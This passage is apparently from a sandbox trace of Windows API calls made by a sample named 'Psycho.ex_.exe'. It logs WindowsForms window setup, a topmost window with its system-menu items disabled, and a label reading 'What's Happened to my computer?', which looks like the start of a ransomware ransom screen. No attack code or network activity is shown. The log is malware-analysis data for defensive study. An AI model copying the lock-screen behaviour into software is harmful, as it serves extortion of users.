(lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.652] AdjustWindowRectEx (in: lpRect=0x1acc80, dwStyle=0x560108c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acc80) returned 1 [0178.652] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.652] AdjustWindowRectEx (in: lpRect=0x1ace30, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace30) returned 1 [0178.652] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.652] AdjustWindowRectEx (in: lpRect=0x1acc80, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acc80) returned 1 [0178.653] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.653] AdjustWindowRectEx (in: lpRect=0x1aca28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1aca28) returned 1 [0178.653] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.653] AdjustWindowRectEx (in: lpRect=0x1ace30, dwStyle=0x560108c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace30) returned 1 [0178.653] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.653] AdjustWindowRectEx (in: lpRect=0x1acc80, dwStyle=0x560108c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acc80) returned 1 [0178.653] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.653] AdjustWindowRectEx (in: lpRect=0x1acec0, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acec0) returned 1 [0178.653] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.653] AdjustWindowRectEx (in: lpRect=0x1acd10, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acd10) returned 1 [0178.654] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.654] AdjustWindowRectEx (in: lpRect=0x1acec0, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acec0) returned 1 [0178.654] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.654] AdjustWindowRectEx (in: lpRect=0x1acd10, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acd10) returned 1 [0178.666] DeleteObject (ho=0x710a0272) returned 1 [0178.667] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.667] AdjustWindowRectEx (in: lpRect=0x1acf00, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x1acf00) returned 1 [0178.667] AdjustWindowRectEx (in: lpRect=0x1ad078, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x1ad078) returned 1 [0178.667] GetSystemMetrics (nIndex=59) returned 1460 [0178.667] GetSystemMetrics (nIndex=60) returned 920 [0178.667] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0178.668] AdjustWindowRectEx (in: lpRect=0x1accb0, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x1accb0) returned 1 [0178.668] AdjustWindowRectEx (in: lpRect=0x1ace38, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x1ace38) returned 1 [0179.688] GetSystemMetrics (nIndex=11) returned 32 [0179.688] GetSystemMetrics (nIndex=12) returned 32 [0179.688] GetDC (hWnd=0x0) returned 0xd01027c [0179.688] GetDeviceCaps (hdc=0xd01027c, index=12) returned 32 [0179.688] GetDeviceCaps (hdc=0xd01027c, index=14) returned 1 [0179.689] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0179.689] CreateIconFromResourceEx (presbits=0x29a7db0, dwResSize=0x10a8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x17009f [0179.696] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0179.696] AdjustWindowRectEx (in: lpRect=0x1acff0, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x1acff0) returned 1 [0179.697] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0179.697] AdjustWindowRectEx (in: lpRect=0x1ace40, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x1ace40) returned 1 [0179.698] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0179.698] AdjustWindowRectEx (in: lpRect=0x1acff0, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x1acff0) returned 1 [0179.698] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0179.698] AdjustWindowRectEx (in: lpRect=0x1ace40, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x1ace40) returned 1 [0179.699] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0179.699] AdjustWindowRectEx (in: lpRect=0x1acc30, dwStyle=0x2010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x1acc30) returned 1 [0179.699] GetCursorPos (in: lpPoint=0x29a96c0 | out: lpPoint=0x29a96c0*(x=948, y=68)) returned 1 [0179.709] GetSystemMetrics (nIndex=80) returned 1 [0179.719] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x1ac9e0 | out: lpmi=0x1ac9e0) returned 1 [0179.719] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x7010825 [0179.719] GetDeviceCaps (hdc=0x7010825, index=12) returned 32 [0179.719] GetDeviceCaps (hdc=0x7010825, index=14) returned 1 [0179.719] DeleteDC (hdc=0x7010825) returned 1 [0179.719] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x1acab0 | out: lpmi=0x1acab0) returned 1 [0179.719] AdjustWindowRectEx (in: lpRect=0x1aceb0, dwStyle=0x2010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x1aceb0) returned 1 [0179.720] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0179.720] AdjustWindowRectEx (in: lpRect=0x1acb20, dwStyle=0x2010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x1acb20) returned 1 [0179.720] GetCursorPos (in: lpPoint=0x29a9b28 | out: lpPoint=0x29a9b28*(x=948, y=68)) returned 1 [0179.720] MonitorFromPoint (pt=0x42000003b7, dwFlags=0x2) returned 0x10001 [0179.720] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x1ac8d0 | out: lpmi=0x1ac8d0) returned 1 [0179.720] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x8010825 [0179.720] GetDeviceCaps (hdc=0x8010825, index=12) returned 32 [0179.720] GetDeviceCaps (hdc=0x8010825, index=14) returned 1 [0179.720] DeleteDC (hdc=0x8010825) returned 1 [0179.720] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x1ac9a0 | out: lpmi=0x1ac9a0) returned 1 [0179.720] AdjustWindowRectEx (in: lpRect=0x1acca0, dwStyle=0x2010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x1acca0) returned 1 [0179.723] GetCurrentActCtx (in: lphActCtx=0x1aea40 | out: lphActCtx=0x1aea40*=0x0) returned 1 [0179.723] ActivateActCtx (in: hActCtx=0x1ac50528, lpCookie=0x1aea80 | out: hActCtx=0x1ac50528, lpCookie=0x1aea80) returned 1 [0179.724] GetCurrentActCtx (in: lphActCtx=0x1ae6d0 | out: lphActCtx=0x1ae6d0*=0x1ac50528) returned 1 [0179.724] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0179.724] AdjustWindowRectEx (in: lpRect=0x1ae5f0, dwStyle=0x2010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x1ae5f0) returned 1 [0179.724] GetCursorPos (in: lpPoint=0x29aab68 | out: lpPoint=0x29aab68*(x=948, y=68)) returned 1 [0179.724] MonitorFromPoint (pt=0x44000003b4, dwFlags=0x2) returned 0x10001 [0179.724] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x1ae3a0 | out: lpmi=0x1ae3a0) returned 1 [0179.725] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x9010825 [0179.725] GetDeviceCaps (hdc=0x9010825, index=12) returned 32 [0179.725] GetDeviceCaps (hdc=0x9010825, index=14) returned 1 [0179.725] DeleteDC (hdc=0x9010825) returned 1 [0179.725] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x1ae470 | out: lpmi=0x1ae470) returned 1 [0179.725] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0179.725] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=250, Y=113, nWidth=939, nHeight=633, hWndParent=0x0, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x60126 [0179.725] SetWindowLongPtrW (hWnd=0x60126, nIndex=-4, dwNewLong=0x7769b0ac) returned 0x1b5b13ec [0179.725] GetWindowLongPtrW (hWnd=0x60126, nIndex=-4) returned 0x7769b0ac [0179.726] SetWindowLongPtrW (hWnd=0x60126, nIndex=-4, dwNewLong=0x1b5b1ffc) returned 0x7769b0ac [0179.726] GetWindowLongPtrW (hWnd=0x60126, nIndex=-4) returned 0x1b5b1ffc [0179.726] GetWindowLongPtrW (hWnd=0x60126, nIndex=-16) returned 0x6c10000 [0179.726] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x81, wParam=0x0, lParam=0x1add90) returned 0x1 [0179.726] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x83, wParam=0x0, lParam=0x1ade40) returned 0x0 [0179.841] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x1, wParam=0x0, lParam=0x1add90) returned 0x0 [0179.841] GetClientRect (in: hWnd=0x60126, lpRect=0x1ad810 | out: lpRect=0x1ad810) returned 1 [0179.841] GetWindowRect (in: hWnd=0x60126, lpRect=0x1ad810 | out: lpRect=0x1ad810) returned 1 [0179.842] GetWindowTextLengthW (hWnd=0x60126) returned 0 [0179.842] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0179.842] GetSystemMetrics (nIndex=42) returned 0 [0179.843] GetWindowTextW (in: hWnd=0x60126, lpString=0x1ad450, nMaxCount=1 | out: lpString="") returned 0 [0179.843] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0xd, wParam=0x1, lParam=0x1ad450) returned 0x0 [0179.845] GetStartupInfoW (in: lpStartupInfo=0x29ab1a8 | out: lpStartupInfo=0x29ab1a8*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0179.845] GetParent (hWnd=0x60126) returned 0x0 [0179.846] GetStockObject (i=5) returned 0x1900015 [0179.846] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0179.847] CoTaskMemAlloc (cb=0x5c) returned 0x1ac6eba0 [0179.847] RegisterClassW (lpWndClass=0x1ae3c0) returned 0xc135 [0179.847] CoTaskMemFree (pv=0x1ac6eba0) [0179.847] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0179.847] CreateWindowExW (dwExStyle=0x80, lpClassName="WindowsForms10.Window.0.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x4011a [0179.847] SetWindowLongPtrW (hWnd=0x4011a, nIndex=-4, dwNewLong=0x7769b0ac) returned 0x1b5b204c [0179.847] GetWindowLongPtrW (hWnd=0x4011a, nIndex=-4) returned 0x7769b0ac [0179.848] SetWindowLongPtrW (hWnd=0x4011a, nIndex=-4, dwNewLong=0x1b5b209c) returned 0x7769b0ac [0179.848] GetWindowLongPtrW (hWnd=0x4011a, nIndex=-4) returned 0x1b5b209c [0179.848] GetWindowLongPtrW (hWnd=0x4011a, nIndex=-16) returned 0x4c00000 [0179.848] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x4011a, Msg=0x24, wParam=0x0, lParam=0x1ade30) returned 0x0 [0179.848] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x4011a, Msg=0x81, wParam=0x0, lParam=0x1adda0) returned 0x1 [0179.848] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x4011a, Msg=0x83, wParam=0x0, lParam=0x1ade50) returned 0x0 [0179.849] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x4011a, Msg=0x1, wParam=0x0, lParam=0x1adda0) returned 0x0 [0179.849] SetWindowLongPtrW (hWnd=0x60126, nIndex=-8, dwNewLong=0x4011a) returned 0x0 [0179.849] SendMessageW (hWnd=0x60126, Msg=0x80, wParam=0x0, lParam=0x0) returned 0x0 [0179.849] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x80, wParam=0x0, lParam=0x0) returned 0x0 [0179.849] SendMessageW (hWnd=0x60126, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0179.849] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0179.850] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0xd, wParam=0x104, lParam=0x1b395330) returned 0x0 [0179.873] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0xd, wParam=0x104, lParam=0x1b395330) returned 0x0 [0179.873] GetSystemMenu (hWnd=0x60126, bRevert=0) returned 0x0 [0179.873] GetWindowPlacement (in: hWnd=0x60126, lpwndpl=0x1ae6d8 | out: lpwndpl=0x1ae6d8) returned 1 [0179.874] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0179.874] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x1) returned 1 [0179.874] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0179.874] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0179.874] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0179.874] GetClientRect (in: hWnd=0x60126, lpRect=0x1ae7a0 | out: lpRect=0x1ae7a0) returned 1 [0179.874] GetClientRect (in: hWnd=0x60126, lpRect=0x1ae6d0 | out: lpRect=0x1ae6d0) returned 1 [0179.874] GetWindowRect (in: hWnd=0x60126, lpRect=0x1ae6d0 | out: lpRect=0x1ae6d0) returned 1 [0179.874] SetWindowLongPtrW (hWnd=0x60126, nIndex=-8, dwNewLong=0x4011a) returned 0x4011a [0179.875] SendMessageW (hWnd=0x4011a, Msg=0x80, wParam=0x1, lParam=0x17009f) returned 0x0 [0179.875] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x4011a, Msg=0x80, wParam=0x1, lParam=0x17009f) returned 0x0 [0179.876] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x4011a, Msg=0xd, wParam=0x104, lParam=0x1b395330) returned 0x0 [0179.876] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x4011a, Msg=0xd, wParam=0x104, lParam=0x1b395330) returned 0x0 [0179.877] SetWindowPos (hWnd=0x60126, hWndInsertAfter=0xffffffffffffffff, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0179.877] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x46, wParam=0x0, lParam=0x1ae660) returned 0x0 [0179.877] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x4011a, Msg=0x46, wParam=0x0, lParam=0x1ae660) returned 0x0 [0179.877] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x46, wParam=0x0, lParam=0x1ae660) returned 0x0 [0179.877] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x4011a, Msg=0x46, wParam=0x0, lParam=0x1ae660) returned 0x0 [0179.878] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0179.878] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x4011a, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0179.878] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0179.878] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0179.878] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0xd, wParam=0x104, lParam=0x1b395330) returned 0x0 [0179.879] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0xd, wParam=0x104, lParam=0x1b395330) returned 0x0 [0179.882] OleInitialize (pvReserved=0x0) returned 0x0 [0179.883] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x1ae248 | out: lplpMessageFilter=0x1ae248*=0x0) returned 0x0 [0179.909] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0179.911] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0179.912] GetParent (hWnd=0x60126) returned 0x0 [0179.912] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0179.914] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0179.914] GetWindowPlacement (in: hWnd=0x60126, lpwndpl=0x1ae238 | out: lpwndpl=0x1ae238) returned 1 [0179.914] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x47, wParam=0x0, lParam=0x1ae660) returned 0x0 [0179.914] GetClientRect (in: hWnd=0x60126, lpRect=0x1ae0d0 | out: lpRect=0x1ae0d0) returned 1 [0179.914] GetWindowRect (in: hWnd=0x60126, lpRect=0x1ae0d0 | out: lpRect=0x1ae0d0) returned 1 [0179.915] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0xd, wParam=0x104, lParam=0x1b395330) returned 0x0 [0179.917] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x83, wParam=0x1, lParam=0x1adfc0) returned 0x0 [0179.918] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0179.918] GetWindowLongPtrW (hWnd=0x60126, nIndex=-16) returned 0x6c10000 [0179.918] GetCursorPos (in: lpPoint=0x29abad8 | out: lpPoint=0x29abad8*(x=948, y=68)) returned 1 [0179.918] MonitorFromPoint (pt=0x43000003b5, dwFlags=0x2) returned 0x10001 [0179.918] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x1ae370 | out: lpmi=0x1ae370) returned 1 [0179.918] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0xc0101e3 [0179.918] GetDeviceCaps (hdc=0xc0101e3, index=12) returned 32 [0179.918] GetDeviceCaps (hdc=0xc0101e3, index=14) returned 1 [0179.918] DeleteDC (hdc=0xc0101e3) returned 1 [0179.918] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x1ae440 | out: lpmi=0x1ae440) returned 1 [0179.919] GetWindowLongPtrW (hWnd=0x60126, nIndex=-16) returned 0x6c10000 [0179.919] GetWindowLongPtrW (hWnd=0x60126, nIndex=-20) returned 0x10108 [0179.919] SetWindowLongPtrW (hWnd=0x60126, nIndex=-16, dwNewLong=0x2010000) returned 0x6c10000 [0179.919] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x7c, wParam=0xfffffffffffffff0, lParam=0x1ae5b0) returned 0x0 [0179.919] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x7d, wParam=0xfffffffffffffff0, lParam=0x1ae5b0) returned 0x0 [0179.920] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x46, wParam=0x0, lParam=0x1ad9b0) returned 0x0 [0179.920] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x83, wParam=0x1, lParam=0x1ad980) returned 0x0 [0179.921] GetWindowPlacement (in: hWnd=0x60126, lpwndpl=0x1ad588 | out: lpwndpl=0x1ad588) returned 1 [0179.921] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x47, wParam=0x0, lParam=0x1ad9b0) returned 0x0 [0179.921] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x3, wParam=0x0, lParam=0x7100fa) returned 0x0 [0179.921] GetClientRect (in: hWnd=0x60126, lpRect=0x1acb00 | out: lpRect=0x1acb00) returned 1 [0179.921] GetWindowRect (in: hWnd=0x60126, lpRect=0x1acb00 | out: lpRect=0x1acb00) returned 1 [0179.921] GetWindowTextLengthW (hWnd=0x60126) returned 0 [0179.921] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0179.921] GetSystemMetrics (nIndex=42) returned 0 [0179.921] GetWindowTextW (in: hWnd=0x60126, lpString=0x1ac740, nMaxCount=1 | out: lpString="") returned 0 [0179.921] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0xd, wParam=0x1, lParam=0x1ac740) returned 0x0 [0179.921] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x5, wParam=0x0, lParam=0x27903ab) returned 0x0 [0179.921] GetClientRect (in: hWnd=0x60126, lpRect=0x1ad420 | out: lpRect=0x1ad420) returned 1 [0179.921] GetWindowRect (in: hWnd=0x60126, lpRect=0x1ad420 | out: lpRect=0x1ad420) returned 1 [0179.921] SetWindowLongPtrW (hWnd=0x60126, nIndex=-20, dwNewLong=0x10000) returned 0x10008 [0179.921] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x7c, wParam=0xffffffffffffffec, lParam=0x1ae5b0) returned 0x0 [0179.922] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x7d, wParam=0xffffffffffffffec, lParam=0x1ae5b0) returned 0x0 [0179.922] SetWindowPos (hWnd=0x60126, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0179.922] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x46, wParam=0x0, lParam=0x1ae600) returned 0x0 [0179.922] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x83, wParam=0x1, lParam=0x1ae5d0) returned 0x0 [0179.922] GetWindowPlacement (in: hWnd=0x60126, lpwndpl=0x1ae1d8 | out: lpwndpl=0x1ae1d8) returned 1 [0179.922] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x47, wParam=0x0, lParam=0x1ae600) returned 0x0 [0179.922] GetClientRect (in: hWnd=0x60126, lpRect=0x1ae070 | out: lpRect=0x1ae070) returned 1 [0179.922] GetWindowRect (in: hWnd=0x60126, lpRect=0x1ae070 | out: lpRect=0x1ae070) returned 1 [0179.923] RedrawWindow (hWnd=0x60126, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0179.924] GetSystemMenu (hWnd=0x60126, bRevert=0) returned 0x0 [0179.924] GetWindowPlacement (in: hWnd=0x60126, lpwndpl=0x1ae678 | out: lpwndpl=0x1ae678) returned 1 [0179.924] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0179.924] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x1) returned 1 [0179.924] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0179.924] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0179.924] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0179.924] ShowWindow (hWnd=0x60126, nCmdShow=5) [0179.924] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0179.924] GetCurrentActCtx (in: lphActCtx=0x1ae0c0 | out: lphActCtx=0x1ae0c0*=0x1ac50528) returned 1 [0179.924] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0179.925] GetClassInfoW (in: hInstance=0x0, lpClassName="STATIC", lpWndClass=0x29ac018 | out: lpWndClass=0x29ac018) returned 1 [0179.927] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0179.927] CoTaskMemAlloc (cb=0x58) returned 0x1acf34b0 [0179.927] RegisterClassW (lpWndClass=0x1adda0) returned 0xc137 [0179.927] CoTaskMemFree (pv=0x1acf34b0) [0179.927] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0179.927] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="What's Happened to my computer?", dwStyle=0x5600000d, X=10, Y=115, nWidth=320, nHeight=22, hWndParent=0x60126, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x301c4 [0179.927] SetWindowLongPtrW (hWnd=0x301c4, nIndex=-4, dwNewLong=0x7fefc1961b4) returned 0x1b5b20ec [0179.927] GetWindowLongPtrW (hWnd=0x301c4, nIndex=-4) returned 0x7fefc1961b4 [0179.928] SetWindowLongPtrW (hWnd=0x301c4, nIndex=-4, dwNewLong=0x1b5b213c) returned 0x7fefc1961b4 [0179.928] GetWindowLongPtrW (hWnd=0x301c4, nIndex=-4) returned 0x1b5b213c [0179.928] GetWindowLongPtrW (hWnd=0x301c4, nIndex=-16) returned 0x4600000d [0179.928] GetWindowLongPtrW (hWnd=0x301c4, nIndex=-12) returned 0x0 [0179.928] SetWindowLongPtrW (hWnd=0x301c4, nIndex=-12, dwNewLong=0x301c4) returned 0x0 [0179.928] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c4, Msg=0x81, wParam=0x0, lParam=0x1ad780) returned 0x1 [0179.928] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c4, Msg=0x83, wParam=0x0, lParam=0x1ad830) returned 0x0 [0179.928] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c4, Msg=0x1, wParam=0x0, lParam=0x1ad730) returned 0x0 [0179.930] GetWindow (hWnd=0x301c4, uCmd=0x3) returned 0x0 [0179.930] GetClientRect (in: hWnd=0x301c4, lpRect=0x1ad170 | out: lpRect=0x1ad170) returned 1 [0179.930] GetWindowRect (in: hWnd=0x301c4, lpRect=0x1ad170 | out: lpRect=0x1ad170) returned 1 [0179.930] GetParent (hWnd=0x301c4) returned 0x60126 [0179.930] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad170, cPoints=0x2 | out: lpPoints=0x1ad170) returned -7340282 [0179.931] SetWindowTextW (hWnd=0x301c4, lpString="What's Happened to my computer?") returned 1 [0179.931] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c4, Msg=0xc, wParam=0x0, lParam=0x28c63cc) returned 0x1 [0179.931] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c4, Msg=0x5, wParam=0x0, lParam=0x160140) returned 0x0 [0179.931] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c4, Msg=0x3, wParam=0x0, lParam=0x73000a) returned 0x0 [0179.931] GetClientRect (in: hWnd=0x301c4, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0179.931] GetWindowRect (in: hWnd=0x301c4, lpRect=0x1ad2d0 | out: lpRect=0x1ad2d0) returned 1 [0179.931] GetParent (hWnd=0x301c4) returned 0x60126 [0179.931] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad2d0, cPoints=0x2 | out: lpPoints=0x1ad2d0) returned -7340282 [0179.933] SendMessageW (hWnd=0x301c4, Msg=0x2210, wParam=0x1c40001, lParam=0x301c4) returned 0x0 